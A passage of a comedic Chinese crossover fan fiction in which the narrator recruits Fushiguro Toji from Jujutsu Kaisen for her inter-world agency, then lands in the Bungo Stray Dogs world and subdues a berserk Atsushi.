如果是只有我和基友单干也就算了, 可我的团队里还有素未谋面的论坛坛友以及伏黑甚尔。 比我们早一周考完试的坛友君, 甚至在基友的赞助下已经买好了飞过来的机票。 基友在压力我。 我不得不抓紧改造领域,顺便和基友一起想办法还设定几个固定入口, 不然每次我要我拉人才能进到此地。 当然, 基友的忙碌绝不在我之下, 他需要花很大的精力让脑花嵌入他写的程序里, 把一个人类研究之外的东西做成一个CPU可不是一件容易的事。 要真的做成那就直接申请诺贝尔了啊。 没错, 以我们两个的科学知识水平完全做不到。好在科学不够的地方,还有玄学能来凑。 那个连接在我身上,跟着我一起返回的“同化意识”此时反而成了一个引子。有了它,就等于拥有了连接着咒回世界的钥匙,不用再多消耗重要道具脑花,也能在计算出具体的时空点。 我这才有机会在考试之后短暂地重返故地。 有一说一,考试结束的瞬间,我感觉自己灵魂都升华了。 我对奥尔柯特的敬佩一下子就到达了巅峰。 她有那个让时间流速慢到八千分之一的异能力也就罢了,关键是她还能在那样的流速里长时间专注,真让我叹为观止。 我宣布,小野狗里,奥尔柯特才是真正的强者。 有了专门线路,我终于也能体验一把高纬世界的压迫感。 至少这次不会再毫无防备地|裸|奔给重要角色看了。 但我得说,穿过各个世界和次元的挤压感在这种定点穿越中更加明显。 就像基友说的,如果把小世界看做一个星球,那这些星球也是在某些轨道上无规律运动的。 当小世界和我所在的大世界相切,而我又同时拥有了某些、和这些相切小世界相关的元素时,我就会被拉入这些小世界。 也正是因为相切,这些小世界——“小星球”,才会反向对我的时空——我所在的这个“大星球”产生影响。 所以,我的二点五次元基地目的很明确,穿越司就是为了保护我所在的三次元世界,基友设定的程序本质上就是关注一切和我的世界相切的小世界。 至于小世界与小世界之间可能会存在的撞击——十有八九是因为两部作品的跨境联名,很正常。 只要其不会对我的大世界产生影响,也就没有必要每一件事都去干涉。 当然,招工可能还是需要一点主观能动性的。 “相切”的属性同时也还带来了另外一种效果——因为有相切的存在,我所在的世界和这些漫画小世界之间紧密相连,所以我之前的穿越非常流畅。 但现在,我想要定点穿越,可所定的穿越点又不和我的世界相切时,我就需要穿过多个小世界的缝隙。 只有这种情况下,这种穿越的挤压感才会更加明显。 话归正题,在经历过各种极端状况之后,一点点挤压完全不是问题。 多次的穿越经历,让我非常谨慎,落地的瞬间就马上打量四周。 重返咒回对我来说可是前所未有的挑战和危险。 要知道,现在可没有什么咒力、诅咒一说,我绝不能把诅咒再带到这个世界来,否则就是功亏一篑。 事实上,从脑花那里榨取来的诅咒本来也就没有在我体内留下一点。 长时间维持领域比我想象当中还要困难。 而且,为了确保稳定,基友的提议是让领域所有的运转和维持全部交给设定好的体系——我也算是亲自体验了一把术式被剥离的感觉。 疼是真的疼,但这股本就不属于我的力量完全离体之后的轻松感,也是真的让人通体舒畅。 诅咒的力量有限,如果想要持续维系二点五次元的基地存在,势必要寻找更加稳定的能量来源。 但就目前的状况来说,基友连熬一周不睡觉的怨气似乎已经成为了一个诅咒增长的源头。 话归正题,回到咒回的世界来,我现在连诅咒和术式都没有了,自然也更谈不上什么人设加成。 在不使用任何特殊能力的基础下,随便一个咒术师菜鸟都能把我按在地上捶! 我现在可绝对说得上是全咒术界的敌人——或许用“咒术界”这个词已经不太准确,但世人应该不会这么快就适应非咒术师的生存方式。 我低头看了看自己的米家手环,基友亲情改造,我用它来给基友发送简单信号,他那边来拉我回去。 系统升级的快乐,一切都走上了正轨。 我专门定了一个自己熟悉、却又远离咒术界的定点。 就是我当初偶遇灰原的手机店后巷,这里平日进出的人并不算多,咒术师们更是少有踏足。在走出空无一人的巷角前,我把衣服拉链拉到最高,压低棒球帽的帽檐、捂紧疫情后期囤积的一次性口罩,甚至将服装自带的兜帽都带了起来。 如此严密! 就算是运气再差遇到了某个熟人,也肯定不会被认出来的! 我直接就是一个自信挺胸,一脚踏出巷子,左右看着——比想象当中更加陌生的店名和建筑风格让我还没有找明白方向呢,侧后然幽幽传来一个声音。 “杰,你看前面那个背影——是不是有点眼熟?” 第58章 这个声音、那个名字, 绝不会错! 我身体一僵,整个人都不好了。 不是吧,要不要这么点儿背, 我精挑细选的位置、我精心策划的地点, 结果上来就直接暴雷? 就算是脸黑的非洲人也要有个限度吧? 有必要让我开头遇鬼吗? 我压低帽檐,想都不想就继续往前走。 幸好是全副武装,不然换作是我, 也绝不可能忘记一个欺骗自己、利用自己、最后还毁掉了自己所认知世界的究极大BOSS。 真正意义上的,化成灰也认得。 绝了。 “喂,不许走!”五条悟的声音放大,带着和过去稚嫩不同的雄厚, 就像是换了个声卡一样, 这话一听就是对我说的,“就是那个戴帽子的人,别动!” 听话的才是脑子有问题! 我的步伐不仅没有停下,反而倒腾得更快了。 但不知是不是出于某种侥幸心理,我并没有马上跑起来, 只想着他们有一定的概率碍于社交距离, 而不敢直接上来。 当然,现实就告诉我, 对这两个人来说, 什么社交规则——根本入不了眼。 让E人都会害怕的恐|怖|分|子。 身后的脚步声马上就密集起来,他们二人可比我腿长。 我大脑快速转动, 应该找什么理由才能免于被暴揍。 刚才我的反应太过心虚, 现在再想装无辜已经迟了。我别无选择, 拔腿就跑, 没有一点犹豫。 “站住!” 现在站住才是真小丑! 我拿出了自己百米冲刺的最佳速度, 要不怎么说人在高压之下才能激发无限的潜力呢?我深知自己绝对跑不过他们,干脆直接钻到了隔壁商场中。 现在没有了特殊力量,他们肯定不能用什么玄学手段来追踪。这意味着只要眼睛看不到我,他们就找不到我。 商场内部焕然一新,和我上次来的时候全然不同,简直就像是个新地方,连结构都有不小的变化,瓷砖地面更是让人奔跑中难以刹车。 我压低自己的身体,尽可能让自己融入人群。 五条猫和杰哥那高大的身体此时反而没有那么容易挤过来,但那种被注视的感觉却怎么也无法消失。 我毕竟是个普通学生,恢复本身的体力、精力和反应速度后,完全不能和他们二人相比。 即使没有了咒力加成,他们那些为了咒力而进行的修行也绝不会消失。 一道凉意从我耳后传来,我本能一蹲,斜向上看,一只手差点抓住我命运的后脖颈。 那双大白手,一看就是五条猫的肤色,指节处隐隐能够看到一点茧子,不知是在什么地方磨出来的。 五条猫的反应很快,一看我蹲下,手也跟着就下来了。 救命啊! 我向侧滑之际,层层包裹的眼睛在某个恰到好处的角度,正和他的眼睛撞上。 仍是那样天空般的颜色,仿佛一眼就能望穿人心。但此时,他已不再需要任何墨镜眼罩的遮挡,如此直白而专注,却没有我想象当中的羞恼和仇恨。 反倒是一丝毫无恶意的惊诧。 但此时的我可来不及细想,一手抓着墙角,手上发力,就这地面的光滑一转,便钻到了死角后的商场小巷。 再往前,就是安全楼梯了。 我深知进入楼梯间,可就再没有什么遮挡物,我等于将自己变成了瓮中之鳖——但眼前唯有这一个通畅的方向,身后就是追兵,我总不能回头吧? 来不及有多犹豫,我便冲入了安全通道。 反手将门关上,趁着五条猫没有追来,我强行打开消防栓口,将消防斧横插在门上。这样,至少能截断这条路的追兵。 可也就在此时,楼下响起了“吱呀”声——和我推门的声音一样,是金属制的楼梯间门被推开的声音。 我往下一看—— 哦吼,完蛋! 是!杰!哥! 他们俩不会是故意把我往这里逼的吧? 小丑竟是我自己。 我往上跑了两节楼梯,但说真的,肾上腺素这个东西是有限的,我已经有种腿软的感觉了。 就在这千钧一发之时,一双手悄无声息地从背后靠近,抓住我的兜帽后领,直接将我提了起来。 顿时天旋地转,我的胃顶在了某人的肩角上。快速上楼的移动力,使得胃部被重锤,让我仿佛随时都会吐出来似的。 不一定是吐彩虹,也可能是吐魂。 更别提这个速度,简直是能说是在“走”楼梯,完全是在飞,一步跳动着迈上去,能有个十几节,最多两步就能上半层楼。 再加上楼梯自带的旋转属性,这和被放在搅动机里有什么区别? Yue—— 我马上就要坚持不住了! “砰!” 一声巨响,天台的门被一脚踹开。 此时,才算是真正地停了下来。 一落地,我就赶紧扶墙,否则天旋地转,我能直接头朝地栽倒。 甚至即使扶着墙,我都觉得墙面仿佛在我的掌下移动,连带着视野都一圈一圈地发晕。 一双手摘掉了我的帽子,没有了帽檐的遮挡,我一下子就看清了这张不能更熟悉的脸。 “伏黑甚尔。”我压住嗓的恶心,深吸了几口气,将状态缓了过来。再细看,才发现伏黑甚尔手里提着足有十几个购物袋。 真是祸兮福所倚,我的复活出生点虽然刷出了五条猫和杰哥,但也同样刷出了我的SSR爹咪! 我就是为他而来的。 他靠在天台边缘的栏杆上,仔细地打量着我。 “我还以为,你就此消失,再不会出现了。” “你怎么会这么想?” 这么重要的SSR,我怎么可能轻易抛弃! 爹咪这么没有安全感的吗,按照我对两边时间流速的计算,这里也就过个几秒的时……间…… 啊,不对。 如果只是几秒的话,刚才根本不可能碰到五条猫和杰哥。 我精神一恍,理智回笼后,瞬间意识到了某些问题。 这次穿越确实只是选定了空间点,因为基友的脑花技术还没有到能够定位时间的程度——但我本以为,再怎么说也不会偏差太大。 但我仔细打量着爹咪的面孔,总觉得有哪里不太一样了。 气质—— 那种沉浸在杀戮中的气质淡了许多! 那种本能气势不是有意识就能完全收起来的,想要洗尽铅华,必得用大量的时间来冲淡。 我神情一肃,开口问,“我,离开了多久?” 爹咪掐指一算,“不长吧,也就——十几年?” 啊?! 哈!!! 十几年?! 没有说错吧,不是十几天、不是十几个月,而是十几年!? 我瞪大了眼睛,惊讶的情绪完全掩盖不住。 爹咪眉毛一挑,“你自己不知道?” “不,应该说是没料到……”我低头看着脚下的城市——路变宽了,来往车辆的款式也和之前大有差异。 更重要的是商场内部——我就说,里面的变化怎么能那么大。 原来过去了那么久。 那看五条猫和杰哥活力满满的样子,这没有咒力干涉的十年,他们也没有蹉跎自己嘛。 窥一管而知全豹,咒术界的分流想来并没有那样困难。 那对曾经的DK也完全不像是决裂的样子。 所以,这应该——算是一件好事吧? 我有些自我怀疑,毕竟干涉世界到如此程度,我也是第一次。 “问题不大。”我把那些自我怀疑丢到身后,干都干了,难道现在后悔? 还是得着眼当下,“伏黑甚尔先生,之前的约定,还有效吗?” 毕竟十多年啊! 他要是想跳槽我也是能理解的。 不就是白干一次吗? 没什么好可惜的,呜呜—— 我这样安慰着自己,可眼皮子却不住地泛酸。 “我伏黑甚尔别的不说,这点职业素养还是有的。”爹咪看了看天台门,大概是在判断楼梯间内的脚步声,“但话说在前头,一走十几年的事我可不干。” 他现在有老婆孩子,顾家的男人,很正常。 “这次是意外,意外来着。”我打了个哈哈,“放心,我们穿越司内的时间流速和外界不同,而且不需要你坐班。” 不如说,千万别来坐班。 那个领域极不成熟,我怕对领域了解极深的爹咪来了会给我看出破绽啊! 更何况,对爹咪的需求完全就是武力的需求。 二点五次元设定在了三次元的外围,任何世界要和我的世界相切都会先擦过穿越司。相切,就意味着流通,流通就意味着风险。 谁知道其他小世界有什么样的活宝? 防御力量必须首先构建起来,先保了自己安全,才能有精力做其他的事。 简单来说,我现在招聘的职位,是保安大哥。 爹咪若有所思,似乎我简单提到的工作内容和工作方式很满意。 但看着我递去的手环,还是提到了我最不想提的东西。 公司福利。 救命,我自己都是个穷苦大学生,去哪里给别人搞福利。 “谈钱多没意思啊,我司的福利、福利……让我想想,周末双休、五险一金、节假日补贴——额,这些统统没有。”但往好处想想,我们也没有调休嘛。 我表示,理不直气也壮,主打的就是一个画大饼、白嫖,“有的就是理想——为了爱与正义,维护世界!” 爹咪一脸似笑非笑地看着我,这个表情好可怕。 “但是提供跨世界夏令营服务,惠惠有时间可以来,保证给你和早春留足二人世界!”话说得好听,其实就是把惠惠也嫖过来当苦力,但话术一变,这可就是暑期实践啊! 跨世界暑期实践,听上去就很牛,“而且,在别的世界,总能搞到一些神奇道具——” 俗称,开宝箱。 “比如,人参果啊、唐僧肉什么的——更重要的是,”我眼睛一抬,“你其实很好奇吧,这个世界上任何人都无法窥探的,另外的世界。” 爹咪这拿乔的样子,可被我摸透了。 他自己好奇得很。 他失笑,接过了我的手表,明明本就没打算毁约,但还是想要占一层上风似地开口,“丑话说在前面,我抢到的东西,可就是我的了。” “没问题!” 我毫不犹豫地点头。 爹咪是保安大哥,他要抢,就只能从来犯的敌人手上抢。 这不就相当于,让未来潜在的敌人帮我发工资吗? 这等好事还犹豫什么? 干了! 第59章 万万没想到, 我和基友磕磕绊绊,还真把这个穿越司的机构架起来了。 虽然有点粗糙,但我坚信, 整个世界就是个巨大草台班子。 在这世界的某个角落, 一定有比我司还粗糙的组织存在! 别的不说,我觉得我们学校就很草台班子,尤其是当我选课时候的系统。 这个抢课系统到底是谁在维护! 和要么进不去、要么出不来的“外行”系统相比, 最起码我已经是个身经百战的专业穿越选手——穿越如回家。 自从有了上一次招揽爹咪的经验之后,我的自信逐渐爆棚! 谁让我一通胡乱操作,不仅完成了任务,还通过了考试。 没有挂科就是胜利! 总算是能好好安心过个暑假, 不用考虑补考的问题了。 当然, 安逸的日子毕竟不长,草台班子也是需要维护的。 浅浅休息了两天,就借口旅游跑到基友那里去了。 在他那里,行动更加方便些。 一见面,我首先看到的就是基友那挂在脸上的黑眼圈。 不吹不黑, 有点可怕。 “大哥, 你不会完全没有休息过吧?” 我声音都不自觉放轻了,“感觉你随时要猝死了啊, 喂!” “问题不大。” 基友有气无力地坐在电脑前——不对, 应该是“脑花脑”前,他的声音已经没有灵魂了。 甚至, 我觉得那用来做主机的脑花都比基友有活力。 一夜回到高考前。 我把脸贴过去, “额——你确定?” “废话, 当然不是了!”基友毫无征兆地扑了上来, 像丧尸一样一把勒住我的脖子, “淦啊,劳资已经好几天没睡好觉了,MD这个脑花,电量不足就开口叫,能不能把他的嘴给我缝上啊,吵死了!” “脖子——我的脖子!息怒啊、皇上息怒!”这下换我嗷嗷叫了,“我来缝,针线在哪,我马上缝——救命,给我喘口气儿!” 基友一把将我放倒—— 不对,他不是将我放倒,而是和我一起倒下去了! “咚”的一声,基友面朝下砸在了我面前。 我一低头,他整个人的魂都飞升了。 NO!我的基友君! 我一把抓住他的魂塞回去。 “基友——我的优乐美,没有你我可怎么活啊!” 这完全不知是睡是昏,我匆忙摸出手机。 这毕竟是三次元,总而言之——先报个120吧! 我要不要来个人工呼吸? 医生、护士,赶紧救一下啊! 简直一通兵荒马乱,医院一查,是低血糖。 基友毫无疑问,已经肝到了废寝忘食的地步。 不行,不能再这样下去了。 我深切地意识到,不能让基友再这么肝下去了。 得想办法找个文职冤种来分担基友的工作量。 甚至,最好能完全把活儿接过去——救一下我基友! 等不到基友醒过来,我马上就搞起了老本行。 让我思考一下—— 文职、肝帝、工作狂。 还要守规矩、不搞事、不搞我,任劳任怨、不恶性竞争、理想主义不求回报,能够接受我画的大饼,甚至能自己卷自己。 关键词在我脑中一一浮现,各类角色被一个个排除之后,答案似乎已经呼之欲出。 我以拳敲掌,“啊,是安吾哒!” 这个职位,简直是为安吾量身定做而成! 虽然同职位竞争的还有另一位打工皇帝安sir,但腹黑男实在不好掌控,更何况穿越这种事,哪怕在“柯学”世界也很难被接受。 还是有异能力的世界解释起来,难度更低、也更方便。 哪怕是忽悠过来当卧底,也是安吾看上去更老实。 嗯,先操作简单的世界。 我这次一定要提前准备好一切,定时定点,只要能接上我上次去过的世界——不是我吹牛,凭我在小野狗里的面子,应该能和平达成协议……的吧? 另一个选择小野狗世界尽快的原因,来自于诅咒的消耗。 二十一分之一的宿傩大爷诅咒量并不算少,但要是用来24X7的维持2.5次元就有些乏力了。更别提主动穿越也需要一定的能量驱动。 毕竟要寻找一个精准的时空间点,极大概率不会遇到什么“相切世界”,穿越次元缝隙是要“路引”和“动力”的。 路引自然就是过去带回来的穿越纪念品,动力自然也只有诅咒这一种选择。 计算一下诅咒存量,甚至只够单程票,到时候还得自己想办法回来。 所以,搞到更好用的能量核心这件事,迫在眉睫。 因而,比起“柯学”的科学世界,还是有特殊能力的异能力世界更容易获取“能量”一物。 我不需要临场应变都能想到,在这个语境下,「书」将会是我需要寻找的目标物品。 社畜安吾和「书」——这就是这次穿越的直接目标了。 我那可爱、敬爱以及亲爱的基友,扛着医院挂水都帮我一起,更新了的穿越2.0版本。主动穿越,让我甚至有搞完COS全套的机会—— 看我这被专业定型台风都刮不乱的假毛,就像钢盔一样,将我长出来的一点宝贵头发完美保护在内,服装是基友的亲情提供,手作改良,满满都是爱意。 我用的当然是基友的装备,毕竟是暂住基友家。 他都低血糖差点噶掉,我更不放心他一个人在家了。 有了这些装备,我再也不是那个毫无准备就窘迫穿越的我了! 裸|奔什么的,将不复存在! 现在的我,强得可怕。 甚至连穿越都有私密空间。 虽然这个穿越间现在还是用KT板做的,但内有乾坤,放下一个我完全不是问题,甚至足够我在里面跳舞高歌! “——不是,你到底在骚什么啊!” 我僵了一下,这个小爱同学般的环绕音效,我一瞬间以为基友就在我旁边。 我顿了几秒,视线左右看了看,还是封闭KT板,我的自娱自乐应该没人看到吧。 于是,我一本正经回答,“没有啊,我什么都没干。” “你带着手环,步数在蹭蹭往上涨知道吗。” ……对不起,忘了这茬。 步数检测怎么如此不智能,我原地跳动,手舞足蹈竟然也算的吗? 猫猫不认同.jpg 但我有点不太敢表达我的不认同,基友手上还挂着水,巧克力是现在唯一能给他带来快乐的东西。 以他现在的低气压,就是路过的狗都得挨两拳。 “穿越器的测试都做过了,状态简直不能更好——” 我深吸了一口气,自信满满,感觉这辈子没打过这么富裕的仗,“我准备好了,出发!” “啊,你说昨天那个测试啊——做是做了,但失败了的说。” “……啊?” 等等,失败了? 不是——拜托啊大哥,有没有搞错,我人都已经在机器上了,你现在和我说这个!? “诶嘿!” 这种重要的时刻,不要给我耍宝啊。 放我出去,我要回家——! “现在退票已经来不及了,拿好装备,走你!” 我好像听到了什么抽水马桶的音效——真是我的好基友,《哈利·波特》看多了吧,竟然用这个音效送我走? “你给我等着啊啊啊啊啊啊啊——” 我一定是发出了这辈子最刺激的尖叫。 因为我自己戴着的耳麦被我自己叫得炸麦了。 看不出来,我还有男高音的潜质。 “咚”的一声巨响,我好像是生生砸到地上的。 虽然不疼,但动静真的很大。 简直是天降陨石。 我砸出了一个大坑,稍微一动,就有一大坨土砸到了我头上。 “呸呸呸——” 我吃了一大口不知道是泥是土的东西,黏在我的舌头上,根本吐不干净。 都怪基友! 如果不是他,我也不会激动得张着嘴穿越,也就不会吃这么一大口土了。 但我不敢说话。 尤其是,我的耳麦还在,说不定他能听到我的抱……怨…… 诶? 我一手摸了个空——耳麦呢? 我如梦方醒,赶紧在土堆里面翻找,站起来的瞬间却只听“咔嚓”一声—— 我身体一僵,已经意识到什么。 但是,我有点不愿意承认。 NO! 爷的外挂! 不仅仅是耳麦,连带着和耳麦连接的手环都被我一脚踩得稀碎。 手环君,你怎么掉下来了啊! 可恶,里面还存着一点点诅咒的! 退路-1 这下真成单程票了。 第60章 怎么说呢, 如果不出意外的话,那铁定是要出意外了。 “呸呸呸——”我妄图把嘴巴里那些土味全部吐出来,潮湿的土味感停留在舌头上, 又苦又涩。 我整理了一下衣服, 这武侦宰的外套已经看不出原样。本来就是临时购入的二手C服,现在看起来更狼狈了。 和已经在上次穿越中光荣牺牲的C服装不同,这次的衣服, 不论是版型还是尺寸,都因为时间问题而不完全贴合,再加上被泥土一蹉跎,已然看不出原本的驼色。 别说用来装逼, 已经完全不能穿了啊! 除却外面的风衣, 就连里面的衣服都又脏又湿。 这里大概是刚刚经历过大雨,泥土一捏几乎都能拧出水来。 这套衣服算是彻底废了,只能算是比上一次的裸|奔好上一点。 但我的下限早就被拉低到裸|奔、龟|甲|缚的地步了,这么一点小瑕疵完全不是问题。 我放弃自怨自艾,观察起左右环境, 雨后的森林看上去格外阴森, 就连天空中挂着的圆月都无法缓解这种恐怖气氛。 风在树木间“呜呜”叫着,像是有人在哭泣, 又像是有什么在咆哮。 不, 不是好像。 是真的有什么东西过来了! 我瞳孔骤缩,危险靠近的气息戳动了我的神经。 ——再怎么说, 我也是常驻穿越嘉宾, 这点危机本能还是有的。 一双金色的瞳孔飘浮在空中, 紧锁在我身上。 我向左平移两步, 它就向左, 我向右平移两步,它又向右。 完全就是冲着我来的啊! 杀意迸发之下,那双瞳孔连成一道金光,虎一样地扑向了我。 我完全没有看清楚那人的模样,但肾上腺素的作用下,我还是在最后关头一抓,将承载着那双瞳孔的头掐在了两手之间。 我瞪大了眼睛! 这张脸可太熟悉了——金色的瞳孔、白色的头发、狗啃的刘海,虽然不是经典套装背带裤,但保不齐他的衣服也被泥土滚了呢? “敦!” 我直接叫出了他的名字。 但敦敦就像是被兽性占据了理智一样,即使听到自己的名字、即使看到了我的脸,也依然没有要停下来的意思。 怎么回事? 社长的「人上人不造」挂机了? 我的手腕突然一凉,血液沿着我和敦敦接触的地方,流到了我身上,和我的「荒霸吐」纹身混在了一起。 没错,我这次穿越之前,可是专门让我的母上大人把我囤的「荒霸吐」纹身贴寄过来了。 毕竟上次走得匆忙,想要返回总要找一个看得过去的理由。 思来想去,似乎只能把BUG推给「荒霸吐」这样不清不楚的东西。 纹身贴没有被泥擦掉,血液和红色的纹路融为一体,刺激得我皮肤发麻。 坏了,我不会是过敏了吧? 我眉头一皱,关注点却很快被血液的源头吸引过去。借着微弱的月光,我定睛一看,就见敦敦的脖颈上血肉模糊,像是有什么东西紧紧地勒在上面,新鲜流动到我手腕上的血液大抵就是从这里来的。 脖颈之下,他的衣服更是破烂不堪,并不是流落街头的那种破烂——有一说一,他烂了洞洞的衣服都比我的风衣外套质量好。 这更像是激烈战斗后的破烂。 仔细观察一下的话就会发现,衣服的裂口还有被火焰燎过的焦黑痕迹,裤子的切口更是整整齐齐地从小腿处断开——仿佛有人将他的小腿斩断过似的。 先不考虑敦敦再生力和再生速度的问题—— 是横滨又双叒叕遇到什么奇奇怪怪的危机了吗? 不怪我多想,实在是我们日漫有自己的哥谭。 任何事情发生在横滨,好像都不算奇怪的了。 漫画之外的未来,我也不敢说自己能猜到。 我又不是开挂剧本组,我最大的挂刚才被我自己给踩碎了。 真是闻之落泪。 但按照我所知道的漫画调性,眼前的敦敦发狂,说不定就是危机的一部分。 他没有完全化虎的意图,只是不断地散发着撕咬的本能。 黑化敦敦,真好吃! 他的兽性力量很大,扑过来的瞬间差点把我压倒。但终究,他先意识了我的面孔和纹身。 金瞳一愣,我手上的力量便陡然增加。 那种无形之力从掌心迸发的感觉,宛若先前的诅咒盈身。 这活儿我可熟。 红色的暗光沿着敦敦的身体边缘封锁,他的蛮力是无法通过重力的。 我松开扼制他的双手,异能力在接触之后便已然起效。 异能力将敦敦直接掼在地上,重力强度比我想象当中还要大,只是随手一压,地面是一个深坑,连带着四周的大地都出现了蛛网般的裂纹。 很深——深到连雨水都无法抵达,最下一层的土壤竟然反而不再潮湿。树木的根系暴露在外,一圈灌丛更是直接被裂开的土壤埋到了下面,成了肥料。 眼见着兽性占了上风的敦敦都被我这一下摔得半懵,顿时连眼神都清澈了许多。 我手指一动,将他的下巴抬起来,这才看清他脖颈处的锁环,锥形的刺卡在皮带上,乍一看还以为是什么艾斯爱慕play,又或是什么鬼火少年的皮衣套装。但仔细一瞧我便意识到,这可都是货真价实的钢刺,不仅是外圈有,内圈也有! 这一圈锥形钢刺,直接就把敦敦的脖子完全束缚了起来,一整圈的贯穿伤。 我!的!天! 就算是有超恢复,那也不该是这么干的吧? 我可爱的敦敦啊! 是谁对你下如此毒手,太惨了! 我马上就动了恻隐之心,抓着束缚一捏。 “咔嚓” 锥裂之间,我还嗅到了一股隐隐不消的火药味。 丧尽天良啊,都这么惨了,竟然还要往这超规格choker里放火药! 存心是要搞事敦敦的节奏。 在炸弹警告启动的瞬间,我的手向上一挥——束缚圈在我的头顶炸开,爆风燎过头发,让我的头皮都感觉到了温度。 我有些应激地摸了摸头顶。 还好还好,头发还在。 突然,一枚亮色的晶片从天而降。像是原本就存在于束缚圈内的某种材质,那样近距离的爆炸都没有让它消失。 我抬手接住。 为了展示纹身,我并没有戴手套。掌心直接接触这亮片的瞬间,一种力量隔绝之感蔓延开来,手背上的「荒霸吐」纹身一暗。但随即,纹身便反而流动得更快,直直从手背蔓延到掌心,像是反抗着什么似的,红色的力量将那块白色的亮片搅碎。 这是我完全没有见过的东西,上次也不曾出现…… 果然,我不能用自己的常识来推断这个世界,它在自我发展中已经完全走向了我无法认知的方向。 唯一锚定的,应该就是这些主线人物。 我刚感到一丝欣慰,一扭头,一只小山似的白虎就朝我扑来。 FUCK! 刚才异能力被隔断的感觉果然不是我的错觉吗? “这是什么牌子的「人间失格」吗?” 哒宰的力量现在已经进化到能够外化的程度了? 直到现在我依然没有要对敦敦下狠手的意图,第一反应仍是防御。但我没想到,异能力竖立起的屏障只几秒,便被那一双粉色的肉垫撕裂了。 好漂亮的肉垫!好尖利的爪子! 完美适配的美瞳下,我的超高动态视力没有放过他爪尖一点白的异状。 只有一个瞬间的愣神,我马上就对上了号。 撕裂异能原本就是敦敦的力量,没什么好意外的。 是我太轻敌了。 我腰上用力一转,躲开了敦敦的扑咬。 他那尖利的老虎牙上、下巴的绒毛上都沾着鲜血,看上去像是刚刚吃了什么不能细想的东西一样。 虎先锋敦敦? 天命人竟是我自己。 我一边吐槽一边动,将异能力回收,旋身向上,抓着老虎须一扯。 “吼!” 敦敦虎痛呼,他须子都被我揪下来两根。疼痛进一步刺激了他的兽性和暴脾气,用来维持平衡和感知的胡须可比其他任何部分都要敏感。 他本就强烈的杀意更盛,现在下依然是完全失了智般朝我攻了过来。 我瞅准时机,捏住他的鼻子翻身向上,直接骑在了他背上,捏住了他命运的后脖颈 再凶的虎也是猫科,谁会不喜欢猫猫呢? 敦敦的绒毛很厚,毛又软,我在他的视野死角狠狠RUA了一把,这才重新用异能力压制住他。 夜空万里无云,未被遮盖的月色异常明亮,照在敦敦身上,让他的虎形态仿佛有用不完的力气似的。 敦敦,有着虎形态的狼人实锤。 不论怎么攻击他,他都没有恢复理智的意思。 我也不能放任他到处瞎跑,和原本喜欢攻击农田的本能不同,他那双眼睛里装着的,是和宿傩大爷不相上下的杀戮欲望。 非是说敦敦和大爷那样杀戮成性,但那种欲望,却不分高下。 看来,只能等到月夜结束,再行考虑了。 60-70 第61章 敦敦不愧是年轻人啊, 一晚上的活力十足,完全没有一点疲惫状态。 别的不说,就那一声声的虎啸, 着实让我怀疑, 他究竟是月下虎,还是月下狼。 更奇怪的是,他就这样吼着叫着, 丝毫不掩饰自己所在的位置,可却始终没有人有要找过来的迹象。 不是吧,侦探社这是怎么回事,这年头, 连男主角都没人要了吗? 我这一晚上如临大敌, 就怕有什么敌人被虎啸声吸引过来,结果倒好,我白白熬了一夜。 早知道没人,我把敦敦挂在枝头就睡了。 这一晚上的闹腾,也确实消耗了敦敦的力气, 在那种伤情下, 他还一整夜和我的重力斗智斗勇。 天边月色一消,他的状态马上就倦了下来。 我能清晰地感觉到, 重力之下的反抗变小了。 老虎那一身亮白的毛发暗淡下来, 毛发的密度很迅速稀疏——他从兽态变回了人类。 我眼睛一抬,一个没忍住差点笑出声来。 “噗——” 这次, 终于不是我裸|奔了啊! 不愧是超回复的异能力, 不愧是吸取月之精华的「月下兽」——什么叫做真正的冰肌玉骨, 我今天算是见着了。 没有想到, 敦敦那看似朴实无华的衣服下, 竟然是这样的身体与皮肤。 要是我也能有敦敦这样的皮肤质感,以后都不用再买遮瑕产品了,化任何类型的妆都不会卡粉,梦中情皮。 除了一些已经成痂的血液,他身上真是一点瑕疵也没有。 只是那连昏睡都紧锁的眉宇,看上去带着无法消除的苦闷,让他不似我记忆中的爽朗。 这年头,连敦敦这样的阳光开朗大男主虎都要走这种苦大仇深路线了吗? 我“啧啧”了两声,将自己充满泥泞的驼色风衣脱下来,盖在了敦敦身上。 聊胜于无,虽然这个衣服没有那么体面,但再怎么样也比裸|着好。 就算他昏迷着没知觉,我也绝不想被误会成什么奇怪的角色。 昨晚是敦敦的攻击性太强,所以才不得不在这无人的森林中过夜。今天有了喘息机会,趁着这青天白日,我可得尽快带人返回侦探社才行。 社长的「人上人不造」简直就是给敦敦量身定做的异能力,以社长的责任心,不会随意丢弃社员不顾。 到了连异能力都无法发动的地步,我简直不敢去想现在横滨的局势。 不会真是一山更比一山高,横滨今天又背上了炸药包吧? 踩碎的耳麦是彻底稀烂了,但手环似乎还有点救,我把它装在口袋里,看着太阳升起的方向,尝试辨别东西南北。 就在我思考是自己动手扛,还是直接用异能力带人飘回去时。脚步踏在泥泞上的声音试探性地越靠越近。 有人来人? 我马上警惕起来,掌心攥了几颗石子,重力覆盖而上——我对中也异能力的熟悉程度,可比对宿傩大爷术式的熟悉程度要好多了。 但,不知是带着「荒霸吐」纹身的状态让我更加贴近非人状态的缘故,还是我体内的某些诅咒残余作怪的缘故,我似乎隐约能够嗅到一股熟悉的甜腻。 我当然还记得这个味道——是恐惧的味道。 而且是非常浓烈的恐惧。 这不是单独一个人能散发出来的味道,正对应了那复数的脚步声。 有一群人在靠近。 而且,不论是谁们正在靠近,他们都对将要面对的一切带有强烈的恐惧。 我瞬间盘清楚了逻辑。 昨晚敦敦那狂躁的样子,别说是普通人,我这个「荒霸吐」人设的老油条都被撕了一次异能力,就更别提别人了。 我快速思考着——如果是武装侦探社追求少而精的社员们,不可能对敦敦有这样警惕恐惧 所以……是敌? 等着敦敦力竭,然后来收拾他、却又因为敦敦那可怕的老虎形态而心生恐惧的敌人? 我觉得自己逻辑通畅,帽檐一压,将敦敦护在身后,石子在重力的控制下漂浮悬空,随时可以成为我的子弹。 举着冲锋枪的黑衣人首先显现出来身影——周围的树木灌丛都在昨夜被我和敦敦毁掉了,想要靠近,自然就没了藏身处。 黑衣人又高又壮,乍一看威胁力十足。但他那满脸警惕,一小步小一步过度慎重挪动的样子,却显然只是个花架子。 他的手指扣在扳机上一刻不敢松懈,整个人的重心却逆着手中的枪械,是向后的。 这意味着,他即使在不断靠近,身体上却已经做好了随时开枪然后跑路的准备。 这么害怕的吗? 敦敦的敦厚老实难道不是全横滨皆知? 没了月亮带来的被动变化,又经过一整夜的消耗,敦敦现在可以说是真正意义上的战五渣。 